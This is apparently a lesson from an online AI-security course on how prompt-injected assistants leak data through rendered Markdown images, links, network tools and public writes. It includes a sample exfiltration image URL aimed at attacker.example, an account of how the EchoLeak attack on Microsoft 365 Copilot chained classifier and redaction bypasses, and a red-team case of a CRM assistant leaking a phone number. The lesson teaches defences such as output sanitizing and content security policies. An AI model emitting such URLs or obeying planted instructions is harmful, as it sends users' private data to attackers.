---
title: "Data exfiltration: images, links, tools and EchoLeak"
description: "Injection is the entry; exfiltration is the payoff Most serious prompt-injection attacks aim to move data from where it should be to where the attacker…"
url: https://optimizeall.com/learn/ai-security-and-red-teaming/data-exfiltration-channels
updated: 2026-10-05
---

AI Security: Prompt Injection, Data Leakage and Red Teaming · Prompt injection, jailbreaks and data exfiltration · lesson 7 of 17 · 14 min

# Data exfiltration: images, links, tools and EchoLeak

## Injection is the entry; exfiltration is the payoff

Most serious prompt-injection attacks aim to move data from where it should be to where the attacker can read it. Understanding **exfiltration channels** lets you close them even when you cannot stop injection itself. This is the "external communication" leg of the lethal trifecta.

## Channel 1: rendered Markdown images

Many chat interfaces render Markdown. If the model outputs:

```markdown
![loading](https://attacker.example/pixel.png?d=SGVsbG8gZnJvbSB0aGUgY2hhdA)
```

the user's browser fetches that URL automatically, sending the query string (here, encoded data from the conversation) to the attacker's server. No click needed. Researchers have repeatedly demonstrated this pattern against major assistants, and vendors have responded with image proxies and URL restrictions.

**Defenses:** do not auto-render images from arbitrary domains; proxy or allowlist image hosts; set a strict **Content Security Policy** (`img-src` limited to your domains); strip or neutralize Markdown images in model output unless needed.

## Channel 2: links

A link with data in its URL requires a click, but social engineering ("click here to verify your account") makes clicks likely. Reference-style Markdown links can evade naive filters.

**Defenses:** allowlist link domains in output; show full destination URLs; warn on external links; strip query strings from untrusted links.

## Channel 3: tools that reach the network

Any tool that makes outbound requests can exfiltrate: web fetch, HTTP request, webhook, email send, calendar invite, file share, even DNS lookups through tools that resolve hostnames.

**Defenses:** egress allowlists at the network layer (not just in the prompt); remove generic "fetch any URL" tools from agents that handle private data; restrict email recipients; require approval for outbound actions carrying data.

## Channel 4: writing to places others can read

Posting comments, creating public issues, updating shared documents, or writing to a public bucket can leak data indirectly.

**Defenses:** least privilege on write scopes; human approval for publishing; data-classification checks on outbound content.

## Case study: EchoLeak

In June 2025, researchers at Aim Security disclosed **EchoLeak** (CVE-2025-32711), a zero-click vulnerability in Microsoft 365 Copilot. A single crafted email could cause Copilot, when later answering a user's question, to pull sensitive internal content into its response and exfiltrate it. Reported techniques included evading the cross-prompt-injection classifier, bypassing link redaction with reference-style Markdown, abusing auto-fetched images, and routing through an allowed Microsoft domain to satisfy the Content Security Policy. Microsoft fixed it server-side. The lesson for builders: **each individual defense was bypassed; only the chain mattered.** Defense in depth and closing channels at the architecture level are what hold up.

## Channel checklist for your app

| Channel | Present? | Control |
|---|---|---|
| Markdown image rendering | | CSP img-src allowlist / image proxy / strip |
| Clickable links | | Domain allowlist, visible URLs |
| Web fetch / HTTP tools | | Remove or egress allowlist |
| Email / messaging send | | Recipient allowlist, approval |
| Public writes (issues, docs, posts) | | Approval, classification checks |
| File sharing / uploads | | Scoped destinations |
| Logs and telemetry to third parties | | Redaction, DPA |

## Hands-on: sanitize model output before rendering

```python
import re
from urllib.parse import urlparse

ALLOWED_HOSTS = {"www.souqstyle.example", "cdn.souqstyle.example"}
MD_IMAGE = re.compile(r"!\[([^\]]*)\]\(([^)\s]+)[^)]*\)")
MD_LINK = re.compile(r"\[([^\]]+)\]\(([^)\s]+)[^)]*\)")
REF_DEF = re.compile(r"^\s*\[[^\]]+\]:\s*\S+.*$", re.M)   # reference-style link definitions

def allowed(url: str) -> bool:
    try:
        u = urlparse(url)
        return u.scheme == "https" and u.hostname in ALLOWED_HOSTS
    except ValueError:
        return False

def sanitize(md: str) -> str:
    md = REF_DEF.sub("", md)                                             # drop reference definitions
    md = MD_IMAGE.sub(lambda m: m.group(0) if allowed(m.group(2)) else f"[image removed: {m.group(1)}]", md)
    md = MD_LINK.sub(lambda m: m.group(0) if allowed(m.group(2)) else f"{m.group(1)} (external link removed)", md)
    return md
```

Pair with a CSP header on the page that renders chat:

```text
Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.souqstyle.example; connect-src 'self'
```

Sanitizing output is a backstop; the CSP enforces it in the browser even if sanitization misses a case.

## Worked example

A Dubai real-estate CRM added an assistant that could read lead records and browse listing pages. A red-team test planted instructions on a public listing page; the assistant embedded a lead's phone number in an image URL. Fixes: images restricted to the company CDN via CSP, output sanitization, and splitting the assistant so the browsing component had no access to lead records.

## Pitfalls

- **Filtering only obvious image syntax** (reference-style Markdown and HTML bypass naive regexes).
- **Prompt-based "never include URLs"** instead of enforcement.
- **Generic fetch tools** on agents with private data.
- **Forgetting telemetry** as an outbound channel.

## How to measure success

Every exfiltration channel is listed with an enforced control, CSP is in place wherever model output renders, and red-team exfiltration tests fail to deliver data to external hosts.

## Video lecture: Data exfiltration: images, links, tools and EchoLeak

Lecture coming soon · 14 chapters · about 8 minutes. Read the full transcript below.

1. Data exfiltration channels
2. Analogy: the spy inside
3. Channel 1: Markdown images
4. Channels 2–3: links and network tools
5. Channel 4: public writes
6. Case: EchoLeak (CVE-2025-32711)
7. The lesson
8. Hands-on
9. Case: Dubai CRM assistant
10. Example: two locks on one door
11. Common mistakes
12. Deeper: the split assistant
13. Watch me do it: sanitizer + CSP
14. Recap

## Lecture transcript

### Data exfiltration channels

Injection is how an attacker gets in. Exfiltration is how they get paid. Most serious prompt injection attacks aim to move private data somewhere the attacker can read it. The good news: even if you cannot stop every injection, you can close the channels data would leave through. In this lecture you will learn the main exfiltration channels, a real-world case study, and practical controls you can deploy today.

### Analogy: the spy inside

An analogy for exfiltration. Think of a secure building where a spy has already slipped inside. You might not be able to stop every spy getting in. But if every exit has a guard, every window is sealed and the post room checks outgoing parcels, the spy can read all the secrets they like and still cannot get them out. Exfiltration controls are those guards and sealed windows. They work even on the day your injection defenses fail.

### Channel 1: Markdown images

Channel one is the rendered Markdown image. Many chat interfaces render Markdown. If the model outputs an image whose web address includes encoded data from the conversation, the user's browser fetches that address automatically, sending the data to the attacker's server. No click is needed. Researchers have demonstrated this repeatedly against major assistants. Defenses: do not auto-render images from arbitrary domains, proxy or allowlist image hosts, and set a strict content security policy for images.

### Channels 2–3: links and network tools

Channel two is links. A link with data in its address needs a click, but social engineering makes clicks likely, and reference-style Markdown links can slip past naive filters. Allowlist link domains in outputs, show full destination addresses, and warn on external links. Channel three is any tool that reaches the network: web fetch, HTTP requests, webhooks, email, calendar invites, file sharing. Enforce egress allowlists at the network layer, not in the prompt, and remove generic fetch-any-URL tools from agents that handle private data.

### Channel 4: public writes

Channel four is writing somewhere others can read. Posting comments, opening public issues, updating shared documents or writing to a public storage bucket can all leak data indirectly. Apply least privilege on write scopes, require human approval for anything that publishes, and check outbound content against your data classification rules.

### Case: EchoLeak (CVE-2025-32711)

Now a real case. In June twenty twenty-five, researchers at Aim Security disclosed EchoLeak, tracked as C V E twenty twenty-five, three two seven one one, a zero-click vulnerability in Microsoft three sixty-five Copilot. A single crafted email could later cause Copilot to pull sensitive internal content into its answer and send it out. The reported chain evaded the injection classifier, bypassed link redaction with reference-style Markdown, abused auto-fetched images, and routed through an allowed Microsoft domain to satisfy the content security policy. Microsoft fixed it server-side.

### The lesson

The lesson from EchoLeak is profound. Each individual defense was bypassed. Only the chain mattered. A classifier, a redaction filter and a content security policy were all present, and all were individually defeated. What holds up is defense in depth plus closing channels at the architecture level, so that even when several layers fail, the data still has nowhere to go.

### Hands-on

The lesson includes Python that sanitizes model output before rendering. It removes reference-style link definitions, keeps images and links only if they point to allowlisted HTTPS hosts, and replaces the rest with a neutral note. Pair it with a content security policy header on the page that renders chat, limiting image and connection sources to your own domains. Sanitizing is the backstop. The browser policy enforces it even if the sanitizer misses a case.

### Case: Dubai CRM assistant

A worked example. A real-estate CRM in Dubai added an assistant that could read lead records and browse listing pages. A red-team test planted instructions on a public listing page, and the assistant embedded a lead's phone number in an image address. The fixes: images restricted to the company CDN through the content security policy, output sanitization, and, most importantly, splitting the assistant so the browsing component had no access to lead records at all.

### Example: two locks on one door

A simple example of the sanitizer at work. The model outputs a friendly answer ending with an image whose address points to an unknown domain, with a long string of letters after a question mark. The sanitizer checks the host against the allowlist. Not allowed. It replaces the image with a neutral note. Even if a new Markdown trick slipped past the sanitizer, the page's content security policy only permits images from your own CDN, so the browser refuses to load it. Two locks on one door, and the data never leaves.

### Common mistakes

Common mistakes with exfiltration. Filtering only the obvious image syntax and missing reference-style links or raw HTML. Relying on a prompt that says never include URLs. Keeping a generic fetch tool on an agent that can read private data. And forgetting telemetry: if your traces send full prompts to a third-party service, that is also an outbound channel. Here is a quick question for your system: list every way a byte of customer data could leave. Is each one guarded?

### Deeper: the split assistant

One level deeper on the Dubai CRM fix. After splitting the assistant, the browsing component can read public listing pages but has no access to leads, and it returns only structured listing facts to the CRM component. Even if a listing page injects instructions, there is no lead data in that context to leak, and no image rendering in its output path.

### Watch me do it: sanitizer + CSP

Watch me do it with the sanitize function from the lesson, on four model outputs. Output one: a normal answer with a link to our own help center. The link host is on the allowlist and uses HTTPS, so it stays. Output two: an answer ending with an image whose address points to an unknown domain, with the customer's email encoded in the query string. The image pattern matches, the host fails the allowlist, and it becomes image removed, followed by the alt text. Output three: a reference-style link, where the text says click here and a definition at the bottom maps it to an attacker's address. First, the reference definition line is removed entirely, so the link has nowhere to point. Output four: a plain Markdown link to a lookalike domain that differs from ours by one letter. The host comparison is exact, so it fails and becomes the link text followed by external link removed. Now the second lock. I open the chat page in a browser and inject a raw image tag through the developer tools, pretending the sanitizer missed it. The browser console shows the content security policy blocked the request because the host is not in the image source list. Finally, I add these four outputs as unit tests for the sanitizer, so nobody can weaken it without a failing build.

### Recap

Recap. Injection gets in; exfiltration pays off. List every channel: images, links, network tools, public writes, and telemetry. Close each with enforced controls: content security policy, allowlists, egress rules, approvals and architectural separation. Your next step: fill in the channel checklist in the lesson for your app, and deploy the output sanitizer and a content security policy wherever model output renders.

## Key takeaways

- Exfiltration is the payoff of injection; closing channels protects data even when injection succeeds.
- Channels: auto-rendered Markdown images, links, network-capable tools, public writes and telemetry.
- EchoLeak (CVE-2025-32711) chained several bypasses; only architecture-level defense in depth holds.
- Sanitize output, enforce CSP, use egress allowlists and separate untrusted browsing from private data.

## Try it

Complete the channel checklist for your app and deploy the output sanitizer plus a CSP header wherever model output renders.

- [Previous: Indirect prompt injection and separation patterns](https://optimizeall.com/learn/ai-security-and-red-teaming/indirect-prompt-injection)
- [Next: Excessive agency and secure tool design](https://optimizeall.com/learn/ai-security-and-red-teaming/excessive-agency-and-tool-security)
- [All lessons of AI Security: Prompt Injection, Data Leakage and Red Teaming](https://optimizeall.com/learn/ai-security-and-red-teaming)
